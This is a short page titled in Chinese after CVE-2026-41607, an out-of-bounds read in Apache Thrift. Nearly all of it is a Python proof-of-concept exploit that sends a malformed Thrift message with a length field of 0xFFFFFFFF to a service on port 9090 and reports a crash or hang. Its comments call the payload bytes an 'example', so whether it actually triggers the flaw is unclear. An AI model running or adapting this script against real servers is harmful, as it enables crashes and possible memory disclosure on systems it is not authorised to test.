CVE-2026-41607 Apache Thrift越界读取漏洞

import socket # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 def generate_malicious_payload(): # Constructing a payload that triggers the out-of-bounds read # This involves manipulating field headers and length indicators # to bypass standard checks and access unintended memory. # Example: Malformed message header indicating a large string size # but providing insufficient actual data or corrupt structure. payload = b'\x00\x00\x00\x02' # Magic number/Version (example) payload += b'\xFF\xFF\xFF\xFF' # Malformed length field payload += b'A' * 10 # Trailing data return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) payload = generate_malicious_payload() print(f"[*] Sending payload ({len(payload)} bytes)...") s.sendall(payload) # Wait for a response or timeout (indicating a potential crash/hang) response = s.recv(1024) print("[+] Received response. Target might not be vulnerable or handled the error.") except ConnectionResetError: print("[!] Connection reset by peer. Possible crash detected.") except socket.timeout: print("[!] Connection timed out. Possible hang detected.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == '__main__': send_exploit()